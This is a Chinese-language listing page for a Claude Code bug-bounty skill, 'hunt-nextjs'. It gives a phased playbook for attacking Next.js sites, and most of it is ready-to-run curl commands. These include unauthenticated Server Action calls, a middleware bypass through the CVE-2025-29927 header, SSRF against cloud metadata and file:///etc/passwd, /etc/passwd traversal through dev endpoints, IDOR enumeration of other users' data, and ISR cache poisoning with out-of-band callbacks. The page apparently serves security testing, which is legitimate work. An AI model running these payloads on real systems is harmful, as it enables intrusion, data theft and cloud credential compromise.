mcpField
H
hunt-nextjs

hunt-nextjs

github.com/elementalsouls安全5.3k246 次安装今天更新
代码仓库

关于 hunt-nextjs

面向 Next.js 安全测试人员的漏洞排查技能,覆盖 Server Actions、middleware、图像优化器和数据路由等风险点,并提供验证方法以减少误报。

主要功能

  1. 01识别 Next.js 与构建 ID
  2. 02测试 Server Actions 认证绕过
  3. 03检查 middleware 绕过与数据泄露
  4. 04评估图像优化器 SSRF 风险
  5. 05排查 ISR 缓存投毒与调试端点

适用场景

  1. 01测试受保护页面是否可被绕过访问
  2. 02评估图像优化器的服务端请求风险
  3. 03检查预渲染数据和页面内容是否泄露或被投毒

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-nextjs

安装后在 Claude Code 中输入/hunt-nextjs确认已加载。

详细介绍

HUNT-NEXTJS — Next.js / SSR 框架漏洞

核心目标

可绕过身份验证或实现 SSRF 的 Next.js 特定漏洞 = 高危/严重。

价值最高的攻击链:

  • Server Actions 身份验证绕过 — Server Actions 仅在客户端强制执行身份验证 → 直接调用 action ID → 未授权数据修改或窃取
  • 通过 /_next/static/ 绕过中间件 — 中间件跳过静态资源路径 → 通过 /_next/data/ IDOR 访问受保护路由
  • /_next/image SSRF — 图片优化器获取攻击者控制的 URL → 扫描内部网络或云元数据
  • ISR 缓存投毒 — 将恶意内容注入缓存页面,随后该页面会提供给所有用户
  • RSC 负载泄漏 — React Server Component flight 数据包含不应提供给客户端的服务端属性

攻击面信号

/_next/image?url=&w=&q=          Image optimizer — SSRF candidate
/_next/data/BUILD_ID/*.json      Prerendered page data — IDOR candidate
/__nextjs_original-stack-frame   Debug stack frame endpoint
/_next/static/chunks/            JS bundles — source map candidate
/api/                            API routes — standard hunt surface
__NEXT_DATA__ in HTML            SSR props leaked to client
x-nextjs-* response headers      Confirms Next.js

阶段 1 — 指纹识别与版本检测

# Confirm Next.js and get build ID
curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"'
curl -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"

# Extract build ID for /_next/data/ paths
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
echo "Build ID: $BUILD_ID"

# Check Next.js version via package disclosure
curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'

# Source map exposure
curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5

阶段 2 — 滥用 Server Actions

# Server Actions in Next.js 14+ use x-action-id or Next-Action header
# Find action IDs in HTML source or JS bundles
curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"'
grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null

# Call Server Action directly without auth
curl -s -X POST https://$TARGET/target-page \
  -H "Next-Action: ACTION_ID_HERE" \
  -H "Content-Type: multipart/form-data; boundary=----" \
  -H "Cookie: " \
  --data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'

# Test: does the action execute without a valid session?
# If it returns data or mutates state → auth enforcement is client-side only

阶段 3 — 绕过中间件身份验证

# Next.js middleware runs on edge runtime and may skip certain paths
# Test protected route directly
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
# → 200 means accessible

# Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"

# Test via static asset path prefix (middleware matcher may exclude /_next/static)
curl -s "https://$TARGET/_next/static/../admin/dashboard"

# Encoded path bypass
curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"

通过 x-middleware-subrequest 绕过中间件(CVE-2025-29927)

当此标头声明存在内部子请求时,Next 会完全跳过中间件执行,从而绕过受限路由上的身份验证/重定向中间件。

curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
# also: -H "x-middleware-subrequest: src/middleware"  and  "pages/_middleware"
# 200 on a middleware-gated route = bypassed. Fixed 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.

阶段 4 — 图片优化 SSRF(/_next/image)

# Basic SSRF test — internal metadata
curl -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75"

# Protocol bypass attempts
curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"
curl -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"

# OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused
COLLAB="http://UNIQUE.COLLAB_HOST"
curl -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"
# Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain

误报防护(报告 SSRF 前请先阅读): /_next/image 只会获取 next.config.js 中 images.remotePatterns / images.domains 允许的 URL。默认情况下,未列入白名单的 url 会返回 400——这是优化器正常的白名单拒绝行为,不是你绕过的“拦截”。返回 200 表示获得了优化后的图片,而非上游响应正文,因此仅凭状态码绝不能确认 SSRF。只能通过对唯一的 Collaborator 子域名进行带外回调(见上文),或对已知内部与已知外部目标进行正文差异比较来确认。不要仅凭状态码报告问题。

注意:CVE-2024-34351(Next.js SSRF,GHSA-fr5h-rqp8-mj6g,影响 13.4.0 至 < 14.1.1,已在 14.1.1 修复)属于 Server Actions SSRF——它利用信任 Host 标头的相对重定向,不是 /_next/image 漏洞,也不影响 Vercel 等基于 Host 路由的服务商。Server Actions 攻击面请参见阶段 2。


阶段 5 — /_next/data/ IDOR 与数据泄漏

# Enumerate prerendered JSON for user-specific data
# Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json
curl -s "https://$TARGET/_next/data/$BUILD_ID/profile.json" \
  -H "Cookie: session=VICTIM_SESSION"

# Try other users' data
for ID in 1 2 3 100 1000; do
  curl -s "https://$TARGET/_next/data/$BUILD_ID/users/$ID.json" | head -3
done

# Check __NEXT_DATA__ in HTML for sensitive server-side props
curl -s "https://$TARGET/dashboard" | \
  python3 -c "import sys,re,json; m=re.search(r'<script id=\"__NEXT_DATA__\"[^>]*>(.*?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')"

阶段 6 — ISR 缓存投毒

# ISR pages regenerate on request after revalidation period
# If user input influences the static page content without sanitization:
# 1. Trigger revalidation with malicious input in URL/query
# 2. Injected content cached and served to all users

# Test: does query param affect cached page content?
# Use a UNIQUE marker (not a generic <script>) so a match proves YOUR input landed,
# and confirm the response was actually CACHED + served to a DIFFERENT client.
MARK="zqx$(date +%s)"
# 1) Poison with the marker
curl -s "https://$TARGET/blog/test-post?preview=<b>$MARK</b>" -o /dev/null
# 2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.
#    Body-diff clean-vs-poisoned and check x-nextjs-cache / age headers — a reflected
#    marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.
curl -si "https://$TARGET/blog/test-post" | grep -iE "$MARK|x-nextjs-cache|age:"

# On-demand revalidation endpoint (if exposed)
curl -s "https://$TARGET/api/revalidate?secret=GUESS&path=/blog/test"
curl -s "https://$TARGET/api/revalidate?token=GUESS&path=/admin"

阶段 7 — 调试与堆栈帧端点

前提条件: __nextjs_launch-editor 和 __nextjs_original-stack-frame 是 react-dev-overlay 中间件,仅在 next dev 下挂载。在生产构建中(next build && next start),这些路由不会注册——此处返回 404 是正常且预期的结果,不是需要绕过的“过滤”。只有在生产环境中确实运行 next dev 这种罕见的错误配置下,这些端点才可访问。任何非 404 响应才是真正的发现;不要将 404/过滤响应报告为确认结果。

# First confirm dev mode is actually exposed (anything but 404 = dev server in prod)
curl -s -o /dev/null -w "%{http_code}" \
  "https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test"

# Only if the above is NOT 404: the launch-editor / stack-frame endpoints can
# reference local files (file-read surface of a dev server wrongly exposed)
curl -s "https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&line=1"
curl -s "https://$TARGET/__nextjs_original-stack-frame" \
  --data '{"file":"/etc/passwd","line":1,"column":1}'

阶段 8 — 环境变量泄漏

# NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets
curl -s "https://$TARGET/_next/static/chunks/pages/_app.js" | \
  grep -oE "NEXT_PUBLIC_[A-Z_]+['\"]?\s*[:=]\s*['\"]?[^'\"&\s]+"

# Check for non-public vars accidentally exposed
curl -s https://$TARGET/ | python3 -c "
import sys, re, json
m = re.search(r'__NEXT_DATA__.*?({.*?})</script>', sys.stdin.read(), re.S)
if m:
    d = json.loads(m.group(1))
    print(json.dumps(d.get('props', {}), indent=2))
"

攻击链表

Next.js 发现攻击链影响
Server Action 无身份验证直接调用特权数据修改操作数据篡改 / 管理员访问权限
/_next/image SSRF云元数据 → IAM 凭据云环境沦陷
/_next/data/ IDOR其他用户的服务端属性个人身份信息 / 令牌窃取
绕过中间件受保护的管理路由身份验证绕过
暴露源映射重建 TS 源代码 → 查找硬编码密钥发现更多漏洞
__NEXT_DATA__ 泄漏HTML 中的服务端密钥API 密钥 / 令牌

验证

✅ 服务端操作:在没有有效会话的情况下执行操作,返回数据或修改状态
✅ SSRF:通过 /_next/image SSRF 收到 DNS/HTTP 回调
✅ 中间件绕过:在没有身份验证 Cookie 的情况下,受保护路由返回 200 响应
✅ 数据泄露:__NEXT_DATA__ 包含非公开机密或其他用户的个人身份信息(PII)

严重性:

  • 服务端操作身份验证绕过 → 数据修改:高危/严重
  • 图片 SSRF → 云元数据:严重
  • 中间件绕过 → 管理面板:高危
  • 仅源映射文件暴露:低危-中危

评论

支持 Markdown